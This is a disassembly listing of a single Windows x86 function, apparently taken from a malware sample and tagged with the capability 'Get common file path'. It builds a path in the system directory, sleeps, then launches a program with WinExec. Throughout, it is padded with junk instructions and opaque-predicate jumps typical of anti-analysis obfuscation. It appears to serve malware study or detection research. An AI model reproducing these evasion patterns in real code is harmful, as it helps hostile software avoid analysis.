Function at 0x403ef0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
xor dl, dl
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0xc], 1
stosb byte es:[edi], al
push ecx
push dx
xor ch, ah
or cl, dl
sub dl, 0x3f
inc ch
test esi, ecx
test ch, 0x27
pop dx
pop ecx
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x214]
push ecx
push edx
lea eax, [ebp - 0x110]
push 0x406034
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push eax
push edx
xor al, 0x3d
sub ah, 0x2b
add eax, 0x7c28
or dh, dl
xor ax, dx
cmp ax, 0x4001
pop edx
pop eax
lea ecx, [ebp - 8]
lea edx, [ebp - 4]
push ecx
push edx
call fcn.00403930
add esp, 8
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x14]
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0x10]
push ecx
push edx
push eax
push esi
push ebx
call fcn.004032b0
add esp, 0x18
test eax, eax
jne 0x403fd8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push cx
push dx
push eax
cmp dx, cx
inc eax
or cx, cx
inc al
inc cx
test al, 0x3b
and ch, al
mov eax, edx
and cx, 0x7bc9
pop eax
pop dx
pop cx
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
push ecx
push edx
lea eax, [ebp - 0x110]
push 0x406048
push eax
call fcn.00402580
add esp, 0x10
test eax, eax
jne 0x40401f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push ecx
push edx
cmp dh, dl
or ecx, ecx
test ah, al
xor ecx, 0xc4
test dh, al
cmp ch, bl
or cx, 0x7720
xor ecx, 0x4eb4
and ecx, 0x218b
and dl, bl
pop edx
pop ecx
pop eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.004039b0
add esp, 4
push edx
cmp dl, al
and dl, 0x4e
or dl, 0x38
and dl, al
and edx, eax
xor dh, 0x3c
add dh, bh
or edx, 0x604
add dh, dl
pop edx
push ecx
and ch, al
cmp ch, 0x21
test ch, 0x5b
cmp ecx, edx
test ecx, 0x709c
xor ch, 6
pop ecx
call fcn.004027b0
jbe 0x404096
push esi
pop esi
ja 0x404096
pop ebx
hlt
push 0x40606c
call fcn.004033f0
add esp, 4
cmp eax, 0xffffffff
je 0x4040af
mov edi, 0xe
jmp 0x4040c6
push 0x406060
call fcn.004033f0
add esp, 4
cmp eax, 0xffffffff
je 0x4040f4
mov edi, 0xf
push esi
push ebx
call fcn.00401d30
add esp, 8
test eax, eax
je 0x4040f4
push edi
call fcn.00401e70
push edi
call fcn.00401080
add esp, 8
call fcn.00401ea0
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jo 0x40410c
push esi
mov esi, 0x387ef7e0
pop esi
jno 0x40410c
invalid
lea edx, [ebp - 0x110]
push edx
push ebx
call fcn.00402440
add esp, 8
test eax, eax
jne 0x404124
xor esi, esi
jmp 0x404127
mov esi, dword [ebp - 0xc]
jle 0x404137
push si
pop si
jg 0x404137
test esi, esi
je 0x40414d
push ebx
call fcn.00401d60
add esp, 4
test eax, eax
jne 0x40414d
mov dword [ebp - 0xc], eax
mov esi, eax
jl 0x40416e
push dx
mov dx, 0x642f
pop dx
jge 0x40416e
out 0xc4, eax
push ds
xor dl, cl
cld
push ss
stosd dword es:[edi], eax
jo 0x40416f
push edx
cmp bh, byte [eax]
test esi, esi
jne 0x404181
div byte [ebp + 0xf]
push esi
push ebx
call fcn.004022c0
add esp, 8
mov dword [ebp - 0xc], eax
mov esi, eax
push edi
or di, 0x74e3
sub di, ax
cmp di, dx
and edi, 0x25ec
and di, 0x51b8
or di, di
pop edi
test esi, esi
je 0x4041aa
push 0xffffffffffffffff
call fcn.00401080
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 0x406080
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret